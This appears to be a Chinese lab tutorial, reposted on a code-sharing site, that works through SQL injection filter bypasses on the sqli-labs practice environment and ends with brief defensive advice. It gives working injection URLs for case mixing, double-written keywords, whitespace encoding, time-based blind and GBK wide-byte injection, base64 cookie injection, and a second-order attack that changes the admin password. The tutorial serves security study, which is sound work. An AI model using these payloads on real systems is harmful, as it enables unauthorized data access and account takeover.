ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

SQL 注入的基本防御手段和绕过技术

2021-04-25 09:33:44  阅读:212  来源: 互联网

标签:语句 Less labs sqli 防御 SQL 绕过 id


SQL 注入的基本防御手段和绕过技术

文章目录


实验环境

  • Firefox
  • burp suite
  • sqli-labs 环境

0x01SQL的绕过技术

1.大小写绕过

如果过滤器通过关键字进行过滤并没有识别大小写,我们就可以使用大小写来进行绕过,因为 SQL 语句是不区分大小写的

原始语句

select * from users where id='1' limit 0,1

大小写摻杂注入

select * from users where id='1' And 1=1 --+'limit 0,1

问题存在的原因是:过滤器过滤了正常的关键字,但是并没有对字符串进行处理

2.注释绕过

Less-23

访问:http://192.168.37.136/sqli-labs/Less-23/

[root@localhost ~]# vim /var/www/html/sqli-labs/Less-23/index.php 

image-20210319091745222

我们可以看到 Less -23 中源代码过滤了单行注释的方法,我们可以正常闭合 SQL 语句来进行绕过。

通过以上程序中代码可以看到被过滤的有 # 和 – ,因此不能使用注释进行注入,绕过注释进行注入

1.1 例1 绕过注释并爆库

http://192.168.37.136/sqli-labs/Less-23/?id=-1' union select 1,database(),'3

image-20210319094512766

第三个字段前添加一个单引号来闭合 id 字段后面的单引号,我们前面用到了一种类似的方法。
语句分析:
语句中的 -1' union select 1,database(),'3,其中的 -1’ 单引号用于闭合原语句中的前面单引号,'3 是用于闭合原语句中后面的单引号

原来语句:

select * from users where id='$id' limit 0,1

注入后的语句:

select * from users where id='-1' union select 1,database(),'3' limit 0,1

由此可以拼接一条完整可执行的语句

1.2 例2 使用逻辑运算注入

http://192.168.37.136/sqli-labs/Less-23/?id=-1' union select 1,database(),3 or '1'='1

image-20210319095947195

使用 and 或 or 添加一个表达式 or '1'='1

3.双写绕过

PHP过滤函数可以过滤注释符,也可以过滤关键字

Less-25

image-20210319100419457

这里将 or 和 and 过滤掉了 i 过滤了大小写

例1:双写搭配大小写绕过

http://192.168.37.136/sqli-labs/Less-25/?id=1' AandNd 1=1 --+

image-20210319103120215

我们将一个完整的关键字包含在另一个关键字当中,当过滤器过滤掉中间的关键字时,外部的关键字会自动闭合成一个新的关键字

语句分析:

原来的语句:

http://192.168.37.136/sqli-labs/Less-25/?id=1' AandNd 1=1 --+

被注入后的语句:

SELECT * FROM users WHERE id='1' ANd 1=1 -- ' LIMIT 0,1

4.关键字等价绕过

Less-25

image-20210319103847051

由代码中可看到过滤 and 和 or

修改源代码方便我们查看我们注入的最终 SQL 语句:

[root@localhost ~]# vim /var/www/html/sqli-labs/Less-25/index.php 

在第 45 行插入 echo "<br>".$sql;

image-20210319105516375

例1:

http://192.168.37.136/sqli-labs/Less-25/?id=1 && id=2 --+

image-20210319105715467

我们可以看到这条语句 id=1 后面并没有单引号,原因是使用&& 进行连接时不需要进行闭合,流程为 id=1 然后继续执行 id=2 最后 --+ 单行注释

例2:

http://192.168.37.136/sqli-labs/Less-25/?id=-1' || id=2 --+

image-20210319110055185

这里 id=-1’ 使用SQL 语句报错并使用单引号进行闭合,然后拼接 || 执行 id=2 最终 --+ 单行注释

|| 前面 SQL 语句 执行失败才会执行后面语句,需要我们手动将前面代码进行报错,

5.绕过去除空格

Less-26

可以替代空格使用的符号:

%20  %09  %0a  %0b  %0c  %0d  %a0  /**/       #ascii 码转 url 编码

例:当前案例测试只有 %a0 可以替换成功

http://192.168.37.136/sqli-labs/Less-26/?id=0%27%a0union%a0select%a01,database(),3%a0%26%26%a0%271%27=%271 

image-20210319113428144

编码后

http://192.168.37.136/sqli-labs/Less-26/?id=0' union select 1,database(),3 && '1'='1 

image-20210319113320220

说明:

%a0 //表示空格,MySQL中 %a0 代表空白符,可以替代空格
%26 //表示 & 
%27 //表示 ' 单引号

6.绕过去关键字的绕过

Less-27

源码中过滤了常用注释和 union、select

[root@localhost ~]# vim /var/www/html/sqli-labs/Less-27/index.php 

image-20210319113843345

查看源码发现,这里过滤并不完善,可以利用前面学的多种方式绕过

例1:大小写绕过

http://192.168.37.136/sqli-labs/Less-27/?id=1' and%a0updatexml(1,concat(0x7e,(sElEct%a0user()),0x7e),1) and '1'='1

image-20210319114146414

例2:双写绕过

http://192.168.37.136/sqli-labs/Less-27/?id=1' and%a0updatexml(1,concat(0x7e,(seselectlect%a0user()),0x7e),1) and '1'='1

image-20210319114326855

例3:注释绕过

http://192.168.37.136/sqli-labs/Less-27/?id=1' and%a0updatexml(1,concat(0x7e,(se/**/lect%a0user()),0x7e),1) and '1'='1

image-20210319114434987

例4:盲注绕过

http://192.168.37.136/sqli-labs/Less-27/?id=1%27%a0and%a0if((length(database())=8), sleep(3),1)%a0and%a0%271  

image-20210319114649969

条件判断成立 执行 sleep 3秒

7.MySQL 宽字节绕过

利用场景:addslashes() 转义的sql注入

Less-33

http://192.168.37.136/sqli-labs/Less-33/?id=1\

image-20210319150733016

我们可以看到经过addslashes() 函数过滤后我们输入的字符被转义,我们只输入的是一个\,结果反馈出来的是 \,由此证明,我们输入的\被转义了。

http://192.168.37.136/sqli-labs/Less-33/?id=-1%df' union select 1,database(),user()--+ 

image-20210319151325891

我们可以看到经过addslashes() 函数过滤后我们输入的字符会被转义,我们只输入的是一个\,结果反馈出来的是 \,由此证明,我们输入的\被转义了

http://192.168.37.136/sqli-labs/Less-33/?id=-1 %df%5c%27 union select 1,database(),user() --+

image-20210319162512004

这是因为 id 的参数传入代码层,就会在 ’ 前面加一个 ,由于采用了 URL 编码,所以产生的效果是:%df%5c%27,关键就在这里,在GBK编码中,两个字符表示一个汉字,所以 %df把%5c 吃掉形成了一个汉字,后面就剩一个单引号,所以此时的单引号并没有被转义了,可以发挥效果。

分析:

都知道 ’ 或 \ 被PHP 转义(用addslashes函数,或者icov等),单引号被加上反斜杠 \,变成了 \‘ 其中 \ 的十六进制是 %5c

那么注入时候可以加上%df,然后结果为 %df’ 换为URL编码则是 %df%5c%27 ,如果程序的默认字符集是GBK 等宽字节字符集,则MySQL 用GBK 的编码时,会认为 %df%5c 是一个宽字符,也就是 運 也就是说:%df\'=%df%5c%27=運',接下来单引号就可以起闭合租用了

運:读作[yun]

注入后的语句则为:

select * from users where id='-1 運' union select 1,database(),user();

MySQL 中执行一下:

MariaDB [security]> select * from users where id='-1 ?' union select 1,database(),user();

image-20210319174953207

宽字符注入的必要条件,第一个字符的ASCII码 必须大于 128 ,

8.base 64 编码绕过

例:单引号的ASCII 码为 0x27 替换为URL %27

BurpSuite 集成了一些我们常用的编码方式

image-20210319175825583

Less-22

访问http://192.168.37.136/sqli-labs/Less-22/

image-20210319180220161

源码:

$cookie=base64_decode($cookie)
PHP代码使用base64_decode();函数来进行解码
回到代理截断请求,可以看到cookie

image-20210319180910648

Cookie: uname=YWRtaW4%3D

我们可以看到 Cookie 是经过 base64 加密的我们使用 burpsuite 进行base64 加密注入

image-20210319181144905

复制编码后的字符,把截获的请求发送到 Repeater

image-20210319181412090

通过以上实验可以看到闭合方式是 双引号 "

点击 Decode 进行报错注入将我们设计好的 SQL 语句进行 base64 加密

原句:admin"and updatexml(1,concat(0x7e,database(),0x7e),1) or "1"="1
加密后:YWRtaW4iYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSksMSkgb3IgIjEiPSIx

image-20210319181941270

uname=YWRtaW4iYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSksMSkgb3IgIjEiPSIx

image-20210319182359552

成功爆出数据库名称

0x02 二次注入修改其他用户密码

Less-24

image-20210319182541545

新建用户 admin'-- +

image-20210319182645627

用户名是我们设计的 payload

登录新用户

image-20210319182735138

重置密码

image-20210319182833692

修改成功

image-20210319182850185

查看数据库密码修改情况

[root@localhost ~]# mysql -uroot -p123456
MariaDB [security]> select * from users;

image-20210319182937264

发现admin’-- + 密码没有被修改,但是admin 密码被修改成功了

分析源代码还原SQL语句

[root@localhost sqli-labs]# vim /var/www/html/sqli-labs/Less-24/pass_change.php 

第38行代码
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

image-20210319183209923

我们将用户信息带入查看

UPDATE users SET PASSWORD='fengzilin' where username='admin'-- +' and password='123456';

最终执行

UPDATE users SET PASSWORD='fengzilin' where username='admin';

0x03 如何防止SQL注入

因为程序要接受用户输入的变量或URL传递的参数,并且参数或变量会被组成SQL语句的一部分被执行,这些数据我们统称为外部数据,在安全领域有一条规则;外部数据不可信任,所以我们需要通过各种方式对数据进行检测和过滤。

  1. 检查变量数据类型和格式
  2. 过滤特殊符号
  3. 绑定变量,使用预编译语句,#MySQL的 mysqli 驱动提供了预编译语句的支持

总结

本章节利用了,程序员在写代码时,没有过滤特殊代码的漏洞,在写代码的同时要注意代码的安全性,防止SQL注入,要对用户输入的任何东西做限制,

标签:语句,Less,labs,sqli,防御,SQL,绕过,id
来源: https://blog.csdn.net/fengzilin1973/article/details/116116564

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有